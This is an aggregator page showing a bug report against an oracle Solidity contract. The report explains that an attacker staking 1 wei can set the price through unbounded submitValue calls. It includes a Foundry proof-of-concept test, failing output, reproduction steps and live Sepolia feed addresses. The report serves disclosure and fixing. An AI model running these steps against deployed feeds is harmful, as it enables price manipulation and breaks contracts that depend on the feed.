[BUG]: Any staker with 1 wei can set the price because submitValue has no bound on the value
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 35/100
- Issue type
- Bug
- Clarity
- Clearly specified
- Activity status
- Active
- Tech stack
- solidity
- Domain
- blockchain
Research direction
Start at submitValue in src/Oracle.sol:103 and trace how the weighted average is recomputed in readValue alongside the stake-decay (halfLife) logic. Add test/DustPrice.t.sol from the report and run forge test --match-path test/DustPrice.t.sol -vv to see both failures. Done means both tests pass, the price stays at 30e18, and the maintainers have agreed on a bound, since the paper puts no limit on submitted values and the fix is a design choice.
Written by the indexing model from the issue text.
Description
Bug Description
Anyone with a tiny stake can set the price to whatever they want.
The price is an average of all submitted values weighted by stake and submitValue (src/Oracle.sol:103) puts no limit on the value. So someone with just 1 wei of stake can send a huge number like 1e60 and drag the average to about 1e36 in one call.
Quiet feeds are even easier. With a 60s half life the old stake fades away after about an hour without submits and then whoever submits next basically becomes the price no matter how small their stake is.
Blacklisting doesn't stop it either because only the read functions check the blacklist. The paper also uses the blacklist only for reading so I'm not sure that part should change.
Since the paper puts no limit on submitted values I think the fix is a design choice for the maintainers.
Real example on Sepolia. Feed A at 0xff2b1fca4aF0c9BCb576178e6989AA92819a0294 reads 30e18 with 0.105 WETH staked and hasn't been updated since 2026-08-30. On a local fork of Sepolia 1 wei of WETH set it to exactly 1e60 and the Composed Oracle at 0x3554D1feF9c95976634C2B9518790F146a6aa56A that reads Feed A started reverting on readValue. Other contracts that read an Orb feed can break the same way like the Gluon Orb test reactor or a Karma or Fate pool.
Steps to Reproduce
- Use a quiet feed like Feed A or a new one with a small honest stake.
- Stake 1 wei of the weight token and wait out
DEPOSIT_LOCKING_PERIOD. - Call
submitValuewith a huge value. readValue()now returns about that value.
Logs and Screenshots
Test I used: test/DustPrice.t.sol run with forge test --match-path test/DustPrice.t.sol -vv
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console2} from "lib/forge-std/src/Test.sol";
import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import {Oracle} from "../src/Oracle.sol";
contract Tok is ERC20 {
constructor() ERC20("W", "W") {}
function mint(address to, uint256 a) external {
_mint(to, a);
}
}
contract DustPriceTest is Test {
address honest = makeAddr("honest");
address attacker = makeAddr("attacker");
// Honest stakes `honestStake` and submits 30e18. The attacker stakes 1 wei.
function _feed(uint256 honestStake) internal returns (Oracle o) {
Tok t = new Tok();
// halfLife 60s, q 50000, both locks 60s, rewardBps 100, gamma 0, sampleSize 5 (like the Sepolia feed)
o = new Oracle(address(this), "Feed A", "d", address(t), 60, 50_000, 60, 60, 100, 0, 5);
t.mint(honest, honestStake);
t.mint(attacker, 1);
vm.startPrank(honest);
t.approve(address(o), honestStake);
o.depositTokens(honestStake);
vm.stopPrank();
vm.startPrank(attacker);
t.approve(address(o), 1);
o.depositTokens(1);
vm.stopPrank();
vm.warp(vm.getBlockTimestamp() + 61);
vm.prank(honest);
o.submitValue(30e18);
}
// Active feed: honest has 1e24 and just submitted.
function test_oneWeiMovesAnActiveFeed() public {
Oracle o = _feed(1e24);
vm.warp(vm.getBlockTimestamp() + 1);
vm.prank(attacker);
try o.submitValue(1e60) {} catch {} // a fix may reject the value
console2.log("active feed after 1 wei submits 1e60:", o.readValue());
assertLt(o.readValue(), 31e18, "1 wei should not move the price");
}
// Quiet feed: 0.105 tokens staked like Feed A and no submit for 82 days.
function test_oneWeiSetsAQuietFeed() public {
Oracle o = _feed(105e15);
vm.warp(vm.getBlockTimestamp() + 82 days);
vm.prank(attacker);
try o.submitValue(1e60) {} catch {} // a fix may reject the value
console2.log("quiet feed after 1 wei submits 1e60:", o.readValue());
assertLt(o.readValue(), 31e18, "1 wei should not move the price");
}
}
Output on main 86df9c0:
Ran 2 tests for test/DustPrice.t.sol:DustPriceTest
[FAIL: 1 wei should not move the price: 1008399971764800820585576846733316763 >= 31000000000000000000] test_oneWeiMovesAnActiveFeed() (gas: 2229332)
Logs:
active feed after 1 wei submits 1e60: 1008399971764800820585576846733316763
[FAIL: 1 wei should not move the price: 1000000000000000000000000000000000000000000000000000000000000 >= 31000000000000000000] test_oneWeiSetsAQuietFeed() (gas: 2226546)
Logs:
quiet feed after 1 wei submits 1e60: 1000000000000000000000000000000000000000000000000000000000000
Suite result: FAILED. 0 passed; 2 failed; 0 skipped; finished in 12.83ms (11.16ms CPU time)
Both tests pass once a fix keeps the price at 30e18.
Environment Details
macOS with forge 1.8.7 (same as CI) and solc 0.8.33 with via_ir. Upstream main at 86df9c0. The live numbers come from cast and a local fork of Sepolia. No real transaction was sent.
Impact
High - Major feature is broken
Code of Conduct
- I have joined the Discord server and will post updates there
- I have searched existing issues to avoid duplicates
- Dominant language
- Solidity
- Stars
- 3
- Forks
- 6
- Avg merge
- 14h 14m
- Merged PRs (30d)
- 5
Getting set up
- No Dockerfile or Docker Compose file
- No pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from StabilityNexus/OrbOracle-Solidity
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 80/100
-
[BUG]: Oracle with rewardBps above 1e5 can never accept a funded price submissionPossibly taken @kansalakshat claimed this 10 days ago. Openbug
Difficulty 2/5 1-3 hours Newbie friendliness 65/100
StabilityNexus/OrbOracle-Solidity#27 · 1 comment ·
-
bug
Difficulty 5/5 Over a week Newbie friendliness 18/100
-
[BUG]: Old prices stay in the feed after someone resubmits (decay is not multiplicative)Possibly taken @Deepak-negi11 claimed this 15 days ago. Openbug
Difficulty 5/5 Over a week Newbie friendliness 35/100
StabilityNexus/OrbOracle-Solidity#25 · 1 comment ·
All issues in StabilityNexus/OrbOracle-Solidity
Similar issues
-
eth_get_proof reports another account's fields for an absent accountPossibly taken @Indian-boult claimed this today. Open
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
Maintainers usually reply within 1 day
-
bug good first issue
Difficulty 2/5 1-3 hours Newbie friendliness 88/100
-
eth_blobBaseFee should return the blob base fee of the next blockPossibly taken A pull request linked to this issue is open or already merged. Open
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
ethereum/go-ethereum#36196 ·
Maintainers usually reply within 3 days
-
bug Contract security
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
DogStark/PetChain-Contracts#1644 ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
solana-foundation/solana-web3.js#4081 · 1 comment ·
Maintainers usually reply within 1 day